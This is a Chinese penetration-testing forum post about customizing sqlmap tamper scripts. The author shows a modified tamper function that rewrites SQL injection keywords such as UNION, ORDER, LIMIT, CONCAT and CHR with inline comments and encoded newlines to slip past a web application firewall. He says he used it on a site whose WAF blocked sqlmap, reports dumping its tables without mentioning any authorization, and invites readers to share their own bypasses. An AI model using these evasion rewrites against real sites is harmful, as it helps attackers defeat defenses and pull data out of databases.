关于sqlmap的tamper一点心得

2014-07-03 11:13:42 67 6329 7


看到论坛里一些文章写过关于sqlmap的tamper的，也许是sqlmap太好用了的原因吧，不乏一些人去翻译搜集整理它的一些东西，有人就把tamper目录下面的所有脚本进行了搜集整理。还有做成excel表格方便查阅的。
     前一段我在做一个站的时候，遇到了waf，防护还挺严，sqlmap跑不出来，手工测试发现很多关键字被过滤了，顺便研究了一下tamper下的脚本，可惜没有针对这个防火墙的。
     经过测试，我只是需要将一些关键字替换掉，用burp当然可以，这是另一个神器了，可惜本人太懒，还是让sqlmap干舒服。发现tamper下有个concat2concatws.py这个脚本，大家先看下关键内容
   
  if payload: payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")

     这个是防止concat被过滤，将其替换成CONCAT_WS函数的，我就依葫芦画瓢，添加了我这个的关键字
    
 if payload:

        payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")

        payload = payload.replace("ASCII(", "ASCII/**/(")

        payload = payload.replace("VARCHAR(", "VARCHAR/**/(")

        payload = payload.replace("CHR(", "CHR/**/(")

        payload = payload.replace("(SELECT", "( SELECT")

        payload = payload.replace("UNION", "UNION%0A")

        payload = payload.replace("ORDER", "ORDER%0A")

        payload = payload.replace("EXISTS", "EXISTS%0A")

        payload = payload.replace("LIMIT", "LIMIT%0A")

    return payload

       实际看一下效果，见证奇迹的时刻到了！！！
      

    上图是跑表的过程。
    上面只是绕过这个防火墙的部分语句，当然大家可以自己写py文件，也可以像我这样偷懒。这个只是替换只是抛砖引玉，希望大家都来晒晒自己的心得
类别 渗透测试

关于作者

yuchan30篇文章425篇回复

yuchan
67

评论67次

要评论？请先  登录  或  注册